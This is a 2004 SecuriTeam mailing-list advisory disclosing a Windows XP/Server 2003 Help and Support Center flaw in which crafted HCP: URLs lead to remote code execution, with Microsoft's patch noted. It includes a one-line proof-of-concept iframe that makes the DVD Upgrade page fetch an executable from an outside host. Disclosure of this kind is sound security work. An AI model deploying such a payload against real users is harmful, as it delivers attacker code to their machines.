[NT] Windows Help Center Command Execution (Technical Details, HSC, Dvdupgrade)
From: SecuriTeam (support_at_securiteam.com)
To: email@example.com Date: 12 May 2004 19:02:26 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
- - - - - - - - -
Windows Help Center Command Execution (Technical Details, HSC, Dvdupgrade)
"Help and Support Center (HSC) is a feature in Windows that provides help
on a variety of topics" It can also be accessed via HCP: URLs. HSC is
installed by default on Windows XP and Windows Server 2003 systems.
An input invalidation vulnerability in HSC exposes users to a remote code
execution vulnerability. An attacker could use this vulnerability to run
arbitrary code whenever the victim opens a specially formatted HCP: URL.
The user may be automatically directed to such URL whenever he visits a
particular web page. The issue can be also be exploited via an e-mail.
* Microsoft Windows XP and Microsoft Windows XP Service Pack 1
* Microsoft Windows XP 64-Bit Edition Service Pack 1
* Microsoft Windows XP 64-Bit Edition Version 2003
* Microsoft Windows Server 2003
* Microsoft Windows Server 2003 64-Bit Edition
intended to be used by HSC's internal use. The HTML files belong in the My
Computer Zone because they require e.g. the ability to launch external
By using a specialy crafted url an attacker can cause the users local
machine to start and render helpctr.exe in the local context and passes
the injected url to the application. The user is then presented with the
Help and Support DvD Upgrade dialog in Help and Support Center.
With the Dvdupgrade page, The injected url is now linked to the "upgrade
now" button. By pressing the updrade now button, the user is presented
with a (open) / (save) dialog box with the offending ( attackers ) file.
This allows an attacker to initiate the Dvdupgrade action on HSC, inject
speciffically "HCP://system/DVDUpgrd/dvdupgrd.htm". In this way the
attacker can run scripts in the My Computer Zone, which can e.g. download
an start an attacker-supplied EXE program.
As an aside, no url activity is displayed and there is no address or
status bar for Help and Support.
Microsoft was contacted on March 18th, 2004. A patch has been produced to
correct the vulnerability. They have issued the
Proof of Concept:
src="HCP://system/DVDUpgrd/dvdupgrd.htm?website=exploitlabs.com/msnspoof/poc/dvdupgd/dvdupgd.exe" width="1" height="1">
The information has been provided by <mailto:firstname.lastname@example.org>
Donnie Werner of exploitlabs.
The original article can be found at:
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: email@example.com
In order to subscribe to the mailing list, simply forward this email to: firstname.lastname@example.org
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.